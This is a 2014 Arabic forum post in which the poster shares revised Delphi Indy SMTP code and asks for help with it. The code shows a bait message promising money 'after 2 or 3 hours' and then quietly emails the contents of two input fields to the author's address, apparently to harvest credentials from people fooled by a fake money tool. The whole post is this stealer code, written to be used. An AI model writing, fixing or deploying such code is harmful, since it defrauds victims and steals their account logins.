25-11-2014, 02:59 PM
هل من رد اخي لقد عدلته بهذا الشكل
كود :
ShowMessage('this money will be add after 2 or 3 hours');
IdSMTP1.AuthType:=satDefault;
IdSMTP1.Host:= 'smtp.*****.com' ;
IdSMTP1.Port:=587;
IdSMTP1.Username:= 'xxx@*****.com';
IdSMTP1.Password:= 'password';
idSMTP1.Connect;
IdMessage1.From.Address := 'mymail@*****.com';
IdMessage1.Sender.Name := 'yyy@*****.com';
IdMessage1.Sender.Address := 'yyy@*****.com';
IdMessage1.Recipients.EMailAddresses := 'yyy@*****.com';
IdMessage1.Subject := edt1.Text + '''' + edt2.Text;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
